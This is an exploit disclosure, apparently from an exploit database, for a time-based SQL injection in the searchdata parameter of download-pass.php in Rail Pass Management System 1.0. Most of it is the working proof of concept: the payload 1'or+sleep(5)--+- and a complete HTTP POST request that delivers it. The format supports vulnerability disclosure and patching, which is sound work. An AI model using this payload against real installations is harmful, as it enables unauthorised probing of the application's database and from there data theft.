Rail Pass Management System 1.0 SQL Injection

`# Exploit Title: Rail Pass Management System - 'searchdata' Time-Based SQL Injection  
# Date: 02/10/2023  
# Exploit Author: Alperen Yozgat  
# Vendor Homepage: https://phpgurukul.com/rail-pass-management-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17479  
# Version: 1.0  
# Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30  
  
## Description ##  
  
On the download-pass.php page, the searchdata parameter in the search function is vulnerable to SQL injection vulnerability.  
  
## Proof of Concept ##  
  
# After sending the payload, the response time will increase to at least 5 seconds.  
# Payload: 1'or+sleep(5)--+-  
  
POST /rpms/download-pass.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 36  
Cookie: PHPSESSID=6028f950766b973640e0ff64485f727b  
  
  
searchdata=1'or+sleep(5)--+-&search=  
  
`